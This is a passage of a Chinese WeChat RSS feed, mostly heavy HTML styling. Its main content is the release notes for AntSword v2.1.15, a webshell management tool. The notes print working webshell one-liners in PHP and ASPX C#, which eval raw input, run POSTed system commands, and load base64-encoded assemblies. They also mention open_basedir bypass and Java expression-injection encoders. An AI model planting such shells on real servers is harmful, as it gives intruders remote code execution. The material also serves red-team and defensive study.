0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 16px;"><section powered-by="xiumi.us" style="margin: 10px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;"><section style="margin: 0px;padding: 15px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 677px;vertical-align: top;background-color: rgba(255, 216, 0, 0.07);border-width: 1px;border-style: solid;border-color: rgb(255, 236, 129);box-shadow: rgb(255, 255, 255) 4px 5px 0px inset;align-self: flex-start;flex: 0 0 auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(86, 77, 28);text-align: justify;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;">感谢各位的参与，更多精彩将在接下来的白帽夜谈上亮相！大家敬请期待！<span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"></span></p></section></section></section></section><section powered-by="xiumi.us" style="margin: -9px 0px 10px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: bottom;width: auto;flex: 0 0 0%;align-self: flex-end;height: auto;"><section powered-by="xiumi.us" style="margin: 0px 0px 5px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;justify-content: center;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: 22px;flex: 0 0 auto;align-self: stretch;height: auto;border-style: none none solid solid;border-width: 1px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 216, 0) rgb(255, 216, 0);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 100 100 0%;"><section powered-by="xiumi.us" style="margin: 2px 0px 5px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background-color: rgb(255, 216, 0);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 0%;height: auto;"><section powered-by="xiumi.us" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;transform: perspective(0px);transform-style: flat;"><section style="margin: 0px 0px 5px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: flex;flex-flow: row nowrap;justify-content: center;transform: rotateY(180deg);"><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: top;width: 22px;flex: 0 0 auto;align-self: stretch;height: auto;border-style: none none solid solid;border-width: 1px;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(255, 216, 0) rgb(255, 216, 0);"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section></section></section><section style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(86, 77, 28);font-size: 16px;"><section style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><img class="rich_pages wxw-img" data-backh="2141" data-backw="578" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="2141" data-galleryid="" data-ratio="3.7037037037037037" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;width: 677px;visibility: visible !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=60934683&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7wMUNfCmlSHx2Mg9Rr4iclntnURYt1TNHiaWWU9FibXibbgktomnwGM0UXuTMfQKib9aof8Uibo3MqoMgOA%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin: 0px 0px 0em;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: center;"><img class="rich_pages wxw-img" data-backh="250" data-backw="546" data-galleryid="" data-ratio="0.45740740740740743" data-s="300,640" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;vertical-align: bottom;height: auto !important;float: none;display: inline;width: 677px;visibility: visible !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6b29a8bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0HUPFawNZ7yhNm7wJ2GgfxI8riaEiauoXal6g21B0bAiaH5oOOiaMXlIPOpsZf1IDBE8UuWiaIhsMXqfv9B3KTskmHQ%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section><p><br/></p>



<p><a href="https://mp.weixin.qq.com/s/_nGB9KWZef2o0wk3fSA5RQ#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=57a0d464&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484585%26idx%3D1%26sn%3D4660dba235ba65b66bdd6117c7ad6940%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 04 Aug 2022 18:44:00 +0800</pubDate>
    </item>
    <item>
      <title>AntSword v2.1.15 更新汇总</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484552&amp;idx=1&amp;sn=75ab5e65e77e8a4ccb1d62f3d1fedd99</link>
      <description>写在前面  本次更新涉及内容较多，实在是没空写文档里面了，请仔细阅读，自行做实验体会。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Medicean</span> <span>2022-07-18 00:18</span> <span style="display: inline-block;">陕西</span>
</p>

<p>写在前面  本次更新涉及内容较多，实在是没空写文档里面了，请仔细阅读，自行做实验体会。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=b58ac670&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy1rwQfCP5mE7Me0J5gPp2UP0sX9gMib6s68vnyapnicLEkZtzBgiaf13Px1mRFlx3AKSh4SzDEYLlkIw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在前面</span></strong><br/></p><p style="margin-bottom: 0px;"><br/></p><p style="margin-bottom: 0px;text-align: left;"><span style="font-size: 14px;">  <span style="font-size: 14px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">本次更新涉及内容较多，实在是没空写文档里面了，请仔细阅读，自行做实验体会。如果没搞懂的，可以留言后面再专门写文章来讲清楚。</span></span></p><p style="margin-bottom: 0px;"><br/></p><p style="text-align: left;margin-bottom: 0px;"><span style="font-size: 16px;"><strong>正文</strong></span></p><p style="font-weight: 400;box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;"><br/></p><section><section style="font-weight: 400;display: flex;flex-flow: row nowrap;margin: 10px 0px;text-align: left;justify-content: flex-start;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;background-color: rgba(255, 255, 255, 0);margin: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 2px;border-style: solid;border-width: 1px;border-color: rgb(222, 54, 54);align-self: flex-end;box-sizing: border-box;"><section style="color: rgb(222, 54, 54);text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">01</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 10%;max-width: 100%;height: auto;margin: 0px;padding: 2px 2px 2px 7px;border-bottom: 1px solid rgb(222, 54, 54);border-bottom-right-radius: 0px;box-sizing: border-box;"><section style="color: rgb(154, 27, 36);text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">核心</strong></p></section></section></section><section style="font-weight: 400;text-align: left;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-1" style="list-style-type: disc;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">修复 PHP/PHP4 当前目录不可写时, bypass open_basedir 失败的 Bug</p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)<br/></p></li></ul></section><section style="font-weight: 400;text-align: left;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-1" style="list-style-type: disc;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">❗❗❗<span style="color: rgb(255, 104, 39);"><strong style="box-sizing: border-box;">新增 PHPRAW 类型</strong></span>, 该类型支持的 WebShell 类似如下代码:</p></li></ul></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">eval</span>(file_get_contents(<span class="code-snippet__string">&#34;php://input&#34;</span>));</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__meta">?&gt;</span></span></code></pre></section><section style="font-weight: 400;text-align: left;font-size: 12px;color: rgb(160, 160, 160);box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">          <span style="color: rgb(136, 136, 136);">为了方便在团队协作时直连 Behinder3 WebShell,</span> <span style="color: rgb(255, 104, 39);"><strong>已内置编码器，仅能支持连接而已，发送Payload不相同</strong></span></p></section><p style="font-weight: 400;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="font-weight: 400;text-align: left;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-1" style="list-style-type: disc;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">❗❗❗</strong><span style="color: rgb(255, 104, 39);"><strong style="box-sizing: border-box;">新增 ASPXCSharp 类型</strong></span></p></li></ul></section><section style="font-weight: 400;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">        该类型支持的 WebShell 类似如下代码:</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="csharp"><code><span class="code-snippet_outer">&lt;%@ Page Language=&#34;c#&#34;%&gt;</span></code><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">  String Payload = Request.Form[&#34;ant&#34;];</span></code><code><span class="code-snippet_outer">  if (Payload != null)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));</span></code><code><span class="code-snippet_outer">    assembly.CreateInstance(assembly.GetName().Name + &#34;.Run&#34;).Equals(null);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><section style="font-weight: 400;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><br/></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">    有关该类型的设计说明, 请参考文章 <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484424&amp;idx=1&amp;sn=c2e2fc4a34fdac5369c1b5a266195912&amp;chksm=e91c5ff0de6bd6e6f3f1995b9ea8ccd6036b44a580b31f67464e989f79034457dabff8d47ac0&amp;scene=21#wechat_redirect" textvalue="聊聊新类型 ASPXCSharp" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">聊聊</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">新类型 ASPXCSharp</span></a><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><p><br/></p></section><section style="font-weight: 400;text-align: left;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-1" style="list-style-type: disc;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">❗❗❗<span style="color: rgb(255, 104, 39);">新增 <strong style="box-sizing: border-box;">PSWindows</strong> 类型，与 CMDLinux 类似</span></p></li></ul></section><section style="font-weight: 400;text-align: left;font-size: 12px;color: rgb(160, 160, 160);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;margin: 0px;padding: 0px;box-sizing: border-box;"><br/></p><p style="text-indent: 2em;margin: 0px;padding: 0px;box-sizing: border-box;"><strong>基于命令执行的一句话类型, 仅支持 Windows 环境</strong></p></section><p style="font-weight: 400;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="font-weight: 400;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">该类型支持的 WebShell 类似如下代码:</p></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">&lt;?php system($_POST[&#34;ant&#34;]);?&gt;</span></code></pre></section><section style="font-weight: 400;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">有关 PSWindows 的一些注意事项和原理说明, 请参考 <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484525&amp;idx=1&amp;sn=065cfe093785a05cefbc90e3ba1993c3&amp;chksm=e91c5f95de6bd683f5f7f90f8558b34c106ee517df807e0bb6da05dc22c863bf6ae29681474e&amp;scene=21#wechat_redirect" textvalue="新类型 PSWindows 预览" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><strong style="box-sizing: border-box;">新类型 PSWindows 预览</strong></a><strong style="box-sizing: border-box;"></strong></p></section><p style="font-weight: 400;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="font-weight: 400;text-align: left;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><ul class="list-paddingleft-1" style="list-style-type: disc;box-sizing: border-box;"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">❗❗❗<span style="color: rgb(255, 104, 39);"><strong style="box-sizing: border-box;">JSPJS 兼容各种表达式注入</strong></span></p></li></ul></section><section style="font-weight: 400;font-size: 14px;box-sizing: border-box;" powered-by="xiumi.us"><p style="text-indent: 2em;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;">具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考 <a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg2MTc1NDAxMA==&amp;mid=2247483717&amp;idx=1&amp;sn=df998a05c7d736cdd103d4bfe4efe9e2&amp;chksm=ce1306b0f9648fa678738cedee162329ee33c85a34df25c9e165c1b157e7718b9599cd27efc2&amp;scene=21#wechat_redirect" textvalue="Java表达式注入的武器化利用" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><strong>Java表达式注入的武器化利用</strong></a></p></section><p style="font-weight: 400;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="font-weight: 400;display: flex;flex-flow: row nowrap;margin: 10px 0px;text-align: left;justify-content: flex-start;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;background-color: rgba(255, 255, 255, 0);margin: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 2px;border-style: solid;border-width: 1px;border-color: rgb(222, 54, 54);align-self: flex-end;box-sizing: border-box;"><section style="color: rgb(222, 54, 54);text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">02</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 10%;max-width: 100%;height: auto;margin: 0px;padding: 2px 2px 2px 7px;border-bottom: 1px solid rgb(222, 54, 54);border-bottom-right-radius: 0px;box-sizing: border-box;"><section style="color: rgb(154, 27, 36);text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">后端模块</strong></p></section></section></section><p style="font-weight: 400;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;" powered-by="xiumi.us"><br/></p><ul class="list-paddingleft-1" style="font-weight: 400;margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;">❗❗❗<span style="color: rgb(255, 104, 39);"><strong>支持 WebSocket 连接</strong></span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;"><strong style="margin: 0px;padding: 0px;color: rgb(160, 160, 160);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 24px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数，WebSocket连接之后Server端解析会较为困难，所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型</strong></p></li></ul><p style="font-weight: 400;margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><strong style="margin: 0px;padding: 0px;color: rgb(160, 160, 160);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 12px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 24px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><br/></strong></p><p style="font-weight: 400;margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;"><span style="font-size: 14px;">以 </span><span style="font-size: 14px;color: rgb(255, 104, 39);"><strong>wsMemShell</strong></span><span style="font-size: 14px;">(<a href="https://github.com/veo/wsMemShell)" target="_blank">https://github.com/veo/wsMemShell)</a> 项目中的 <strong>wscmd</strong> 为例:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">URL: ws://127.0.0.1:8080/demoendpoint</span></code><code><span class="code-snippet_outer">PWD: 随便填写</span></code><code><span class="code-snippet_outer">连接类型: CMDLinux</span></code><code><span class="code-snippet_outer">Encoder: default (明文, 这个是WebShell端决定的)</span></code><code><span class="code-snippet_outer">Decoder: 根据情况自由选择</span></code></pre></section><section powered-by="xiumi.us" style="font-weight: 400;margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;box-sizing: border-box;"><br/></section><p style="font-weight: 400;text-align: left;"><span style="font-size: 12px;">注意: 由于 antSword 历史设计原因，WebSocket 连接方式暂时</span><span style="font-size: 12px;color: rgb(255, 104, 39);"><strong>只能每次操作都重新建立一次连接</strong></span><span style="font-size: 12px;">，在传输结束后自动与Server端断开</span></p><p style="font-weight: 400;margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><br/></p><ul class="list-paddingleft-1" style="font-weight: 400;margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><span style="color: var(--color-fg-muted);">支持自定义 Content-Type, 默认是 </span><strong style="color: var(--color-fg-muted);">form</strong></p></li></ul><p style="font-weight: 400;margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><strong style="color: var(--color-fg-muted);"><br/></strong></p><p style="font-weight: 400;margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;"><span style="font-size: 12px;">superagent 支持的 type 简写如下, 当然也支持填写全称:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer">html: <span class="code-snippet__string">&#39;text/html&#39;</span>,</span></code><code><span class="code-snippet_outer">json: <span class="code-snippet__string">&#39;application/json&#39;</span>,</span></code><code><span class="code-snippet_outer">xml: <span class="code-snippet__string">&#39;text/xml&#39;</span>,</span></code><code><span class="code-snippet_outer">urlencoded: <span class="code-snippet__string">&#39;application/x-www-form-urlencoded&#39;</span>,</span></code><code><span class="code-snippet_outer">form: <span class="code-snippet__string">&#39;application/x-www-form-urlencoded&#39;</span>,</span></code><code><span class="code-snippet_outer">form-<span class="code-snippet__keyword">data</span>: <span class="code-snippet__string">&#39;application/x-www-form-urlencoded&#39;</span></span></code></pre></section><p style="font-weight: 400;margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><strong style="color: var(--color-fg-muted);"><br/></strong></p><ul class="list-paddingleft-1" style="font-weight: 400;margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;">Fix #307</p></li><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;">重新规整 modules/request.js 代码结构</p></li><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;">调整 superagent ignoreHTTPS 注入,避免 npm upgrade之后引发问题<strong style="color: var(--color-fg-muted);"></strong></p></li></ul><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><br/></p><section style="font-weight: 